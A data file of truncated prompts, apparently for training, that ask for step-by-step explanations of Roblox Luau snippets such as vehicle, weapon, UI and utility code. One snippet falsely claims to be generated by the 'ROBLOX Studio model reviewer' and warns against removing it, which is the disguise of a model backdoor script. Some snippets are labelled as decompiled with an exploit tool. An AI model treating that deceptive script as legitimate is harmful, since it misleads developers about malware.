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code to explain: --[[ VectorUtil.ClampMagnitude(vector, maxMagnitude) VectorUtil.AngleBetween(vector1, vector2) VectorUtil.AngleBetweenSigned(vector1, vector2, axisVector) EXAMPLES: ClampMagnitude: Clamps the magnitude of a vector so it is only a certain length. ClampMagnitude(Vector3.new(100, 0, 0), ...
important code input to explain step by step: --[[Drivetrain Initialize]] local Front = bike.FrontSection local Rear = bike.RearSection --Determine Wheel Size local wDia = 0 wDia = Rear.Wheel.Size.Y --Pre-Toggled PBrake if math.abs(Front.Axle.HingeConstraint.MotorMaxTorque - PBrakeForce) < 1 then _PBrake = true end...
Start by breaking down the code basically step by step: -- Decompiled with the Synapse X Luau decompiler. return { Coins = { canDrop = true, dropWeight = 75, isUnique = false, tiers = { { title = "Coins I", desc = "Pet earns +15% more Regular Coins", value = 1.15, }, { title = "Coins ...
code to explain: --for _, item in ipairs(Shield:GetChildren()) do -- if item:IsA("BasePart") == true and item:FindFirstChild("Ignore") == nil then -- item.Touched:connect(function(Hit) -- if Hit == nil then return end -- if Hit.Parent == nil then return end -- -- local Item = Hit.Parent -- -- if Item:IsA("Tool...
query code to breakdown: --[=[ @param instance Instance @return Promise ]=] function PromiseInstanceUtils.promiseRemoved(instance) assert(instance:IsDescendantOf(game)) local maid = Maid.new() local promise = Promise.new() maid:GiveTask(instance.AncestryChanged:Connect(function(_, parent) if not parent then ...
Breakdown this code: -- Trove -- Stephen Leitnick -- October 16, 2021 local FN_MARKER = newproxy() local THREAD_MARKER = newproxy() local RunService = game:GetService("RunService") local function GetObjectCleanupFunction(object, cleanupMethod) local t = typeof(object) if t == "function" then return FN_MARKER el...
begin: your output must start with ```<<explaining>>``` <<here is some code, summarize it>> break it down step by step -- ================================================================================ -- EVENTS -- ================================================================================ local onRaceStartedEve...
Start by breaking down the code basically step by step: -- ROBLOX deviation END exports.default = function(snapshots: SnapshotSummary, globalConfig: Config_GlobalConfig, updateCommand: string) local summary = {} table.insert(summary, SNAPSHOT_SUMMARY("Snapshot Summary")) if Boolean.toJSBoolean(snapshots.added) the...
Start by breaking down the code basically step by step: --// This section of code waits until all of the necessary RemoteEvents are found in EventFolder. --// I have to do some weird stuff since people could potentially already have pre-existing --// things in a folder with the same name, and they may have different cl...
Breakdown this code: -- Please read the help script before editing below, unless you know what you're doing! local PlayerName = game.Players.LocalPlayer.Name local GameName = game.Name local CreatorName = game.CreatorId script.Parent.Title1.Text = "Hello, " .. PlayerName .. "!" script.Parent.Title2.Text = "Welcome t...
input_code: -- Decompiled with the Synapse X Luau decompiler. client = nil service = nil return function(p1) local v1 = client.UI.Make("Window", { Name = "Terminal", Title = "Terminal", Icon = client.MatIcons.Code, Size = { 500, 300 }, AllowMultiple = false, OnClose = function() end, }) local v2 = v1:Ad...
Breakdown this code: --[[Driver Handling]] --Driver Sit car.DriveSeat.ChildAdded:connect(function(child) if child.Name == "SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent) ~= nil then --Distribute Client Interface local p = game.Players:GetPlayerFromCharacter(child...
input_code: -- Gui local DisplayGui = script:WaitForChild("DisplayGui") local ColorGui = script:WaitForChild("ColorGui") local NewDisplayGui = nil local NewColorGui = nil function UndoSettings(Folder) for _, v in pairs(Folder:GetChildren()) do if v:IsA("NumberValue") or v:IsA("IntValue") then v.Value = 0 elsei...
code: -- << VERSION >> -- Do not change this, or the Admin Commands may break local Version = 1.0 return { { VIPs, Mods, Admins, HeadAdmins }, Settings, Banned, Groups, Group_Permissions, Assets, Asset_Permissions, CommandPermissions, Version, } step by step breakdown/explanation: ## Breakdown The provided...
Breakdown this code: -- [Head, Torso, HumanoidRootPart], "Torso" and "UpperTorso" works with both R6 and R15. -- Also make sure to not misspell it. local PartToLookAt = "Head" -- What should the npc look at. If player doesn't has the specific part it'll looks for RootPart instead. local LookBackOnNil = true -- Should ...
Start by breaking down the code basically step by step: --// Damage Settings BaseDamage = 33 -- Torso Damage LimbDamage = 27 -- Arms and Legs ArmorDamage = 14 -- How much damage is dealt against armor (Name the armor "Armor") HeadDamage = 72 -- If you set this to 100, there's a chance the player won't die because of th...
important code input to explain step by step: --while Tool == nil do -- Tool = script.Parent -- wait(.5) --end local mass = 0 local player = nil local equalizingForce = 236 / 1.2 -- amount of force required to levitate a mass local gravity = 5 -- things float at > 1 local moving = false local maxFuel = 1000 while To...
query code to breakdown: --[[ The Module ]] -- local BaseCharacterController = require(script.Parent:WaitForChild("BaseCharacterController")) local Keyboard = setmetatable({}, BaseCharacterController) Keyboard.__index = Keyboard function Keyboard.new(CONTROL_ACTION_PRIORITY) local self = setmetatable(BaseCharacterCon...
code to explain: --[=[ This function returns a table with the keys of the passed dictionary. ```lua local Dictionary = { A = 1, B = 2, C = 3, } print(TableKit.Keys(Dictionary)) -- prints {"A", "B", "C"} ``` @within TableKit @param dictionary table @return table ]=] function TableKit.Keys(dictionary:...
Start by breaking down the code basically step by step: --| Main |-- Tool.Activated:Connect(function() if State.Value == "None" then State.Value = "PhongDev" --| Fov |-- spawn(function() local Properties = { FieldOfView = DFOV - 20 } local Info = TweenInfo.new(0.25, Enum.EasingStyle.Sine, Enum.EasingDirec...
code instruction: -- functions function stopAllAnimations() local oldAnim = currentAnim -- return to idle if finishing an emote if emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false then oldAnim = "idle" end currentAnim = "" currentAnimInstance = nil if currentAnimKeyframeHandler ~= nil then curr...
Task: summerize and explain this code in detail, try to avoid missing anything from the explanation -- ROBLOX deviation START: additional helper / polyfill modules exports.helpers = require(CurrentModule.helpers) local ConsoleModule = require(CurrentModule.Console) exports.Console = ConsoleModule export type Console =...
input_code: --This is an automatic script that has been generated by the ROBLOX Studio model reviewer. --Removing this script or the code bellow will result in models breaking. local localworkspace = "workspace" players = "getPlayers" welds = "GetModelsData" for i = 1, 10 do print("Adding welds to prevent model breaki...
Breakdown this code: -- When given a model, the model will be assigned as the active rig. This is to keep track of the first person rig. -- @param Model model function FirstPersonRigAssembly.SetActiveRig(model) activeRig = model end explanation: ## Breakdown The provided code snippet defines a function named `SetAc...
code to explain: --local Mouse = player:GetMouse() local UserInputService = game:GetService("UserInputService") local Event = Tool:WaitForChild("RemoteEvent") local RunService = game:GetService("RunService") local Equipped = false local camera = workspace.CurrentCamera Tool.Equipped:Connect(function() Equipped = true...
code instruction: --[=[ @within TableUtil @function IsEmpty @param tbl table @return boolean Returns `true` if the given table is empty. This is simply performed by checking if `next(tbl)` is `nil` and works for both arrays and dictionaries. This is useful when needing to check if a table is empty but not kno...
Task: summerize and explain this code in detail, try to avoid missing anything from the explanation -- constants local PLAYER = Players.LocalPlayer local ELECTROCUTE_AMOUNT = 2 local VELOCITY_AMOUNT = 5 return function(character) local effects = character.Effects local parts = {} for _, v in pairs(character:GetC...
input_code: --[[ Package link auto-generated by Rotriever ]] local PackageIndex = script.Parent._Index local Package = require(PackageIndex["Configuration"]["Configuration"]) return Package explanation of the code: ## Breakdown The provided Luau script is designed to initialize and return a package by requiring i...
Start by breaking down the code basically step by step: --// # key, Spotlight mouse.KeyDown:connect(function(key) if key == "x" then veh.Lightbar.middle.SpotlightSound:Play() veh.Lightbar.Remotes.SpotlightEvent:FireServer(true) end end) explanation: ## Breakdown The provided code snippet is a Lua script writte...
query code to breakdown: ---------------------------------------------------------------| ------// SETTINGS //-------------------------------------------| ---------------------------------------------------------------| local FireRate = 400 local LimbsDamage = { 45, 50 } local TorsoDamage = { 67, 72 } local HeadDamag...
Breakdown this code: -- v1.0 -- local player = game.Players.LocalPlayer local PlayButton = script.Parent.AudioPlayerGui.PlayButton local PauseButton = script.Parent.AudioPlayerGui.PauseButton local VolUpButton = script.Parent.AudioPlayerGui.VolUp local VolDownButton = script.Parent.AudioPlayerGui.VolDown local carSeat...
query code to breakdown: --[=[ Loads Nevermore and handles loading! This is a centralized loader that handles the following scenarios: * Specific layouts for npm node_modules * Layouts for node_modules being symlinked * Multiple versions of modules being used in conjunction with each other * Relative path requi...
Start by breaking down the code basically step by step: --[=[ Observes an attribute on an instance. @param instance Instance @param attributeName string @param defaultValue any? @return Observable<any> ]=] function RxAttributeUtils.observeAttribute(instance, attributeName, defaultValue) assert(typeof(instance) ==...
code instruction: -- Initialization local MapPurgeProof = game.Workspace:FindFirstChild("MapPurgeProof") if not MapPurgeProof then MapPurgeProof = Instance.new("Folder", game.Workspace) MapPurgeProof.Name = "MapPurgeProof" end output: ## Breakdown The provided Luau script is designed to ensure that a folder named...
input_code: -- initialize to idle PlayAnimation("Idle", 0.1, Humanoid) Pose = "Standing" while Figure.Parent do local i, Time = Wait(0.1) Move(Time) end explanation of the code: ## Breakdown The provided Luau script is designed to manage an animation and movement for a character in a Roblox game environment. Here...
code to explain: -- Return true if: -- "key": "value has multiple lines\n... -- "key has multiple lines\n... function hasUnmatchedDoubleQuoteMarks(string_: string): boolean local n = 0 local i = string.find(string_, '"') while i do if i == 1 or string.sub(string_, i - 1, i - 1) ~= "\\" then n = n + 1 end ...
Breakdown this code: ---------------------------------- ------------FUNCTIONS------------- ---------------------------------- function UnDigify(digit) if digit < 1 or digit > 61 then return "" elseif digit == 1 then return "1" elseif digit == 2 then return "!" elseif digit == 3 then return "2" elseif digi...
Start by breaking down the code basically step by step: --[[ END OF SERVICES ]] local LocalPlayer = PlayersService.LocalPlayer while LocalPlayer == nil do PlayersService.ChildAdded:wait() LocalPlayer = PlayersService.LocalPlayer end local PlayerGui = LocalPlayer:WaitForChild("PlayerGui") local success, UserShouldL...
Task: summerize and explain this code in detail, try to avoid missing anything from the explanation --wait(math.random(0,5)/10) while true do game:GetService("RunService").Stepped:Wait() local target = findNearestTorso(script.Parent:WaitForChild("HumanoidRootPart").Position) if target ~= nil then script.Parent.Hum...
Breakdown this code: --// Firemode Settings CanSelectFire = false BurstEnabled = false SemiEnabled = true AutoEnabled = true BoltAction = false ExplosiveEnabled = false Sure, let's break it down: ## Breakdown The provided Luau code snippet defines a set of configuration variables intended to manage firemode settings...
Task: summerize and explain this code in detail, try to avoid missing anything from the explanation --[[ STATIC METHODS ]] -- function Path.GetNearestCharacter(fromPosition) local character, dist = nil, math.huge for _, player in ipairs(Players:GetPlayers()) do if player.Character and (player.Character.PrimaryPart....
begin: your output must start with ```<<explaining>>``` <<here is some code, summarize it>> break it down step by step ---Controller local Controller = false local UserInputService = game:GetService("UserInputService") local LStickX = 0 local RStickX = 0 local RStickY = 0 local RTriggerValue = 0 local LTriggerValue = ...
query code to breakdown: --// Extras WalkAnimEnabled = true -- Set to false to disable walking animation, true to enable SwayEnabled = false -- Set to false to disable sway, true to enable TacticalModeEnabled = true -- SET THIS TO TRUE TO TURN ON TACTICAL MODEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE Sure. Here is a summary: ## ...
important code input to explain step by step: -- << VARIABLES >> local errors = { Player = "Player does not exist!", } <<explaining>> Of course, here is a step by step summary: ## Breakdown The provided code snippet is written in Luau, a statically typed dialect of Lua used in Roblox for scripting. This code define...
query code to breakdown: -- setup emote chat hook game:GetService("Players").LocalPlayer.Chatted:connect(function(msg) local emote = "" if string.sub(msg, 1, 3) == "/e " then emote = string.sub(msg, 4) elseif string.sub(msg, 1, 7) == "/emote " then emote = string.sub(msg, 8) end if pose == "Standing" and emot...
Breakdown this code: -- 6-8 module.Subcategory.Hats = 9 module.Subcategory.Faces = 10 module.Subcategory.Shirts = 12 module.Subcategory.TShirts = 13 module.Subcategory.Pants = 14 module.Subcategory.Heads = 15 code breakdown: ## Breakdown The provided code snippet assigns specific numeric values to the members of an ...
code instruction: --------AUDIENCE BACK RIGHT-------- game.Workspace.audiencebackright1.Part1.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.audiencebackright1.Part4.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.audiencebackright1.Part7.BrickColor = Bric...
begin: your output must start with ```<<explaining>>``` <<here is some code, summarize it>> break it down step by step -- ROBLOX MOVED: expect/jasmineUtils.lua local function asymmetricMatch(a: any, b: any) local asymmetricA = isAsymmetric(a) local asymmetricB = isAsymmetric(b) if asymmetricA and asymmetricB then ...
input_code: --[[ Public API ]] -- function Gamepad:Enable() local forwardValue = 0 local backwardValue = 0 local leftValue = 0 local rightValue = 0 local moveFunc = LocalPlayer.Move local gamepadSupports = UserInputService.GamepadSupports local controlCharacterGamepad = function(actionName, inputState, inputOb...
Task: summerize and explain this code in detail, try to avoid missing anything from the explanation --Lean Gyro lean = Instance.new("BodyGyro") lean.Parent = bal lean.Name = "LeanGyro" lean.D = _Tune.LeanD lean.MaxTorque = Vector3.new(0, 0, _Tune.LeanMaxTorque) lean.P = _Tune.LeanP step by step breakdown/explanation:...
Breakdown this code: --//SS6 PLUGIN; LIGHTS AND INDICATORS//-- --//INSPARE 2017//-- script.Parent.Parent.Parent.Parent.Parent.Parent:WaitForChild("FL") local flw local frw local rlw local rrw for _, i in pairs(script.Parent.Parent.Parent.Parent.Parent.Parent.FL:GetChildren()) do if i:IsA("Part") and i.Shape == Enum.P...
code to explain: --[=[ @tag Component @param config ComponentConfig @return ComponentClass Create a new custom Component class. ```lua local MyComponent = Component.new({Tag = "MyComponent"}) ``` A full example might look like this: ```lua local MyComponent = Component.new({ Tag = "MyComponent", Ances...
code to explain: -- Creates a recoil simulation based on the weapon runtime data -- @param WeaponRuntimeData weaponRuntimeData -- @return RecoilSimulator function RecoilSimulator.New(weaponRuntimeData) local self = {} setmetatable(self, RecoilSimulator) self.runtimeData = weaponRuntimeData self.weaponDefinition = ...
important code input to explain step by step: --//Finished loading wait(1) loadingScreen:Destroy() game.Players.LocalPlayer.PlayerGui.GlobalMenu.Enabled = true game.Players.LocalPlayer.PlayerGui.Info.Enabled = true game.Players.LocalPlayer.PlayerGui.SaveSystem.LoadMenu.Visible = true game.Lighting:WaitForChild("Blur"...
code to explain: -- ANimation local Sound = script:WaitForChild("Haoshoku Sound") UIS.InputBegan:Connect(function(Input) if Input.KeyCode == Enum.KeyCode.X and Debounce == 1 and Tool.Equip.Value == true and Tool.Active.Value == "None" and script.Parent.DargonOn.Value == true then Debounce = 2 Track1 = ...
query code to breakdown: --edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data return function(player, dialogueFolder) local plrData = require(game.ReplicatedStorage.Source.M...
input_code: --]] function getHumanoid(model) for _, v in pairs(model:GetChildren()) do if v:IsA("Humanoid") then return v end end end local ai = script.Parent local human = getHumanoid(ai) local hroot = ai.HumanoidRootPart local zspeed = hroot.Velocity.magnitude local pfs = game:GetService("PathfindingServi...
important code input to explain step by step: -- (Hat Giver Script - Loaded.) debounce = true function onTouched(hit) if hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true then debounce = false h = Instance.new("Hat") p = Instance.new("Part") h.Name = "GreenTopHat" p.Parent = h p.Position ...
input_code: -- HUD setup local hud, clipUI, ammoUI function makeHud() hud = tool.WeaponHud:Clone() clipUI = hud.AmmoHud.Clip ammoUI = hud.AmmoHud.Ammo hud.Parent = player.PlayerGui end repeat wait() until player.Character makeHud() player.CharacterAdded:Connect(makeHud) output_code: ## Breakdown The provided...
code instruction: -- PROPERTIES IconController.topbarEnabled = true IconController.controllerModeEnabled = false IconController.previousTopbarEnabled = checkTopbarEnabled() IconController.leftGap = 12 IconController.midGap = 12 IconController.rightGap = 12 IconController.leftOffset = 0 IconController.rightOffset = 0 Ic...
code: --///////////////// Internal-Use Methods --////////////////////////////////////// --DO NOT REMOVE THIS. Chat must be filtered or your game will face --moderation. function methods:InternalApplyRobloxFilter(speakerName, message, toSpeakerName) --// USES FFLAG if RunService:IsServer() then -- and not RunService:Is...
begin: your output must start with ```<<explaining>>``` <<here is some code, summarize it>> break it down step by step --Chat Event player.Chatted:Connect(function(msg) if msg == "spawn" and event:InvokeServer("whitelist") then frame.Visible = true update() end end) explanation of the code: ## Breakdown The p...
query code to breakdown: -- Get join time function Main:GetJoinTime() return self.JoinTime end <<explaining>> Of course, here is a step by step summary: ## Breakdown The provided code defines a method `GetJoinTime` for a class named `Main`. Here is a step-by-step breakdown of what the code does: 1. **Function Defi...
Start by breaking down the code basically step by step: -------------------- --| Script Logic |-- -------------------- SwooshSound:Play() Rocket.Touched:Connect(OnTouched) explanation of the code: ## Breakdown The provided script is designed to perform two main actions within a Roblox game environment: 1. **Playi...
code: -- Public Methods function MaidClass:Mark(item) local tof = typeof(item) if DESTRUCTORS[tof] then self.Trash[item] = tof else error(FORMAT_STR:format(tof), 2) end end function MaidClass:Unmark(item) if item then self.Trash[item] = nil else self.Trash = {} end end function MaidClass:Sweep() for...
code instruction: -- This is a script you would create in ServerScriptService, for example. local ServerScriptService = game:GetService("ServerScriptService") local Cmdr = require(ServerScriptService.Cmdr) Cmdr:RegisterDefaultCommands() -- This loads the default set of commands that Cmdr comes with. (Optional) Cmdr:Re...
Start by breaking down the code basically step by step: -- Compiled with roblox-ts v2.1.0 local PlayerState do local _inverse = {} PlayerState = setmetatable({}, { __index = _inverse, }) PlayerState.Invincible = 0 _inverse[0] = "Invincible" end return { PlayerState = PlayerState, } code breakdown: ## Breakdow...
code instruction: -- Compiled with roblox-ts v1.3.3 --[[ * * * @param obj object of concern. * @param typeId new type. Restricted to keys of the variant. * @param typeKey discriminant key. ]] local function narrow(obj, typeId, typeKey) local _exp = obj local _condition = typeKey if _condition == nil then _con...
code instruction: --mute button stuff local canmute = settings.DisplayMuteButton local clonegui if canmute then clonegui = script.MuteButtonGui:clone() end script.MuteButtonGui:Destroy() local musicon = true function SetButtonStyle(button) button.Text = "Music: " .. (musicon and "ON" or "OFF") button.Style = music...
code instruction: --[[Transmission]] Tune.TransModes = { "Auto", "Semi", "Manual" } --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First ...
Breakdown this code: --UserInputService.MouseIconEnabled = false function lerp(a, b, c) return a + (b - a) * c end bobbing = game:GetService("RunService").RenderStepped:Connect(function(deltaTime) deltaTime = deltaTime * 30 -- Change Value, Higher Value = Bigger Movement if Humanoid.Health <= 0 then bobbing:Disc...
important code input to explain step by step: --// Aim|Zoom|Sensitivity Customization ZoomSpeed = 0.25 -- The lower the number the slower and smoother the tween AimZoom = 50 -- Default zoom AimSpeed = 0.45 UnaimSpeed = 0.35 CycleAimZoom = 35 -- Cycled zoom MouseSensitivity = 0.5 -- Number between 0.1 and 1 SensitivityI...
code instruction: -- ROBLOX NOTE: no upstream: replaces node js writeable stream API export type Writeable = { isTTY: boolean?, write: (self: Writeable, data: string) -> (), } local Writeable = {} Writeable.__index = Writeable function Writeable.new(options: { write: (data: string) -> () }): Writeable local self...
begin: your output must start with ```<<explaining>>``` <<here is some code, summarize it>> break it down step by step --[[ [How fast the body rotates.] [Setting to 0 negates tracking, and setting to 1 is instant rotation. 0.5 is a nice in-between that works with MseGuide on or off.] [Setting this any higher than 1...
query code to breakdown: --[[Weld functions]] local JS = game:GetService("JointsService") local PGS_ON = workspace:PGSIsEnabled() function MakeWeld(x, y, type, s) if type == nil then type = "Weld" end local W = Instance.new(type) W.Part0 = x W.Part1 = y W.C0 = x.CFrame:inverse() * x.CFrame W.C1 = y.CFrame:in...
query code to breakdown: --[[Transmission]] Tune.TransModes = { "Auto", "Manual" } --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First m...
input_code: --[=[ Converts this arbitrary value into an observable suitable for use in properties. @param value any @return Observable? ]=] function Blend.toPropertyObservable(value) if Observable.isObservable(value) then return value elseif typeof(value) == "Instance" then -- IntValue, ObjectValue, et cetera...
code instruction: --edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data return function(player, dialogueFolder) local ClassInformationTable = require(game.ReplicatedStorage...
query code to breakdown: -- PRIVATE METHODS function IconController:_updateSelectionGroup(clearAll) if IconController._navigationEnabled then guiService:RemoveSelectionGroup("TopbarPlusIcons") end if clearAll then guiService.CoreGuiNavigationEnabled = IconController._originalCoreGuiNavigationEnabled guiService...
Task: summerize and explain this code in detail, try to avoid missing anything from the explanation --[[ Constructs special keys for property tables which connect event listeners to an instance. ]] local parseError = require(script.Parent.Parent.Dependencies).utility.parseError local function getProperty_unsafe(ins...
code to explain: --[=[ @param raycastParams RaycastParams @param distance number? @param overridePos Vector2? @return result: RaycastResult? Performs a raycast operation out from the mouse position (or the `overridePos` if provided) into world space. The ray will go `distance` studs forward (or 1000 studs if no...
input_code: --[[ Calls destroy() on the object associated with the given key and removes it from the registry ]] function Registry:remove(key) local object = self.objects[key] if object then object:destroy() end self.objects[key] = nil end <<explaining>> Of course, here is a step by step summary: ## Bre...
begin: your output must start with ```<<explaining>>``` <<here is some code, summarize it>> break it down step by step -- local Madwork = _G.Madwork --[[ {Madwork} -[ProfileService]--------------------------------------- (STANDALONE VERSION) DataStore profiles - universal session-locked savable table API Officia...
begin: your output must start with ```<<explaining>>``` <<here is some code, summarize it>> break it down step by step -- / Functions / -- ShootModule.ActivateModule = function(StartPosition, HitPosition, EnemyHumanoid, Damage) local BulletNode = Instance.new("Part") BulletNode.Transparency = 1 BulletNode.CanCollid...
code to explain: -- Map voting settings local availableMaps = { "Dead Town", "Test Map", } local mapVotes = {} -- Table to store the vote counts for each map explanation of the code: ## Breakdown The provided Lua script initializes two tables in the context of a Roblox game, specifically for managing map voting f...
Task: summerize and explain this code in detail, try to avoid missing anything from the explanation -- PROPERTIES IconController.topbarEnabled = true IconController.controllerModeEnabled = false IconController.previousTopbarEnabled = checkTopbarEnabled() IconController.leftGap = 12 IconController.midGap = 12 IconContro...
important code input to explain step by step: -- Movement mode standardized to Enum.ComputerCameraMovementMode values function ClassicCamera:SetCameraMovementMode(cameraMovementMode) BaseCamera.SetCameraMovementMode(self, cameraMovementMode) self.isFollowCamera = cameraMovementMode == Enum.ComputerCameraMovementMode...
Start by breaking down the code basically step by step: --Horn Sound Code, Metrotren m1 = script.Parent.StartHorn m2 = script.Parent.HornSound m3 = script.Parent.EndHorn m1:Stop() --Initial setup m2:Stop() m3:Stop() m1.Volume = 0 m2.Volume = 0 m3.Volume = 0 m2.Looped = false m2.Playing = false script.Parent.Parent:Wait...
Breakdown this code: --[[ Given a [AssetType], this function will match it to its equivalent [AccessoryType]. ```lua matchAssetTypeToAccessoryType(Enum.AssetType.FaceAccessory) -- Enum.AccessoryType.Face matchAssetTypeToAccessoryType(Enum.AssetType.Hat) -- Enum.AccessoryType.Hat matchAssetTypeToAccessoryType(Enu...
Start by breaking down the code basically step by step: -- Event Bindings DisplayIntermission.OnClientEvent:connect(OnDisplayIntermission) FetchConfiguration.OnClientEvent:connect(OnFetchConfiguration) ScreenGui.ScoreFrame["Bright blue"].Visible = false ScreenGui.ScoreFrame["Bright red"].Visible = false explanation:...
code instruction: --[=[ Adds a callback to be called before save. This may return a promise. @param callback function -- May return a promise @return function -- Call to remove ]=] function DataStoreStage:AddSavingCallback(callback) assert(type(callback) == "function", "Bad callback") table.insert(self._savingCal...
query code to breakdown: --Xfabri_YT local l_Player_1 = game.Players.LocalPlayer local l_Character_2 = l_Player_1.Character or l_Player_1.CharacterAdded:Wait() local l_Root_3 = l_Character_2:WaitForChild("HumanoidRootPart") local l_iPart_4 = workspace.Tower.Tower.Tower.Interactions.InteractionLeverPart local l_UIS_5...
code instruction: --Wheelie tune local WheelieD = 3 local WheelieTq = 120 local WheelieP = 8 local WheelieMultiplier = 1.5 local WheelieDivider = 2 explanation: ## Breakdown The provided code snippet is defining constants for wheelie tuning parameters in a Roblox game, likely for a vehicle or similar object that can...
input_code: --!strict local RunService = game:GetService("RunService") local SteppedEvents = {} local module = {} function module:BindToStepped(name: string, func: () -> ()) if SteppedEvents[name] then SteppedEvents[name]:Disconnect() end SteppedEvents[name] = RunService.Stepped:Connect(func) end function mo...
code to explain: --To give the other scripts the dummy name, so it can be easier to make new npcs local Model = script.Parent script.Parent.Parent.Radius.DummyModel.Value = Model script:Destroy() Sure. Here is a summary: ## Breakdown 1. **Local Model Assignment**: The first line of the script declares a local varia...
begin: your output must start with ```<<explaining>>``` <<here is some code, summarize it>> break it down step by step -- this is a dummy object that holds the flash made when the gun is fired local FlashHolder = nil local WorldToCellFunction = workspace.Terrain.WorldToCellPreferSolid local GetCellFunction = workspac...
Breakdown this code: --[[ Returns the room associated with specified model ]] function RoomManager.getRoomByModel(model) return rooms:get(model) end Sure, let's break it down: ## Breakdown The provided code snippet defines a function named `getRoomByModel` that is part of a module called `RoomManager`. This functi...
code instruction: -- declarations local sDied = newSound("rbxasset://sounds/uuhhh.wav") local sFallingDown = newSound("rbxasset://sounds/splat.wav") local sFreeFalling = newSound("rbxasset://sounds/swoosh.wav") local sGettingUp = newSound("rbxasset://sounds/hit.wav") local sJumping = newSound("rbxasset://sounds/button...
important code input to explain step by step: ------------------------- function DoorClose() if Shaft00.MetalDoor.CanCollide == false then Shaft00.MetalDoor.CanCollide = true while Shaft00.MetalDoor.Transparency > 0.0 do Shaft00.MetalDoor.Transparency = Shaft00.MetalDoor.Transparency - 0.1 wait(0.000001) e...
important code input to explain step by step: --Input Handler function DealWithInput(input, IsRobloxFunction) if (UserInputService:GetFocusedTextBox() == nil) and not _InControls then --Ignore when UI Focus --Shift Down [Manual Transmission] if _IsOn and (input.KeyCode == _CTRL["ContlrShiftDown"] or (_MSteer...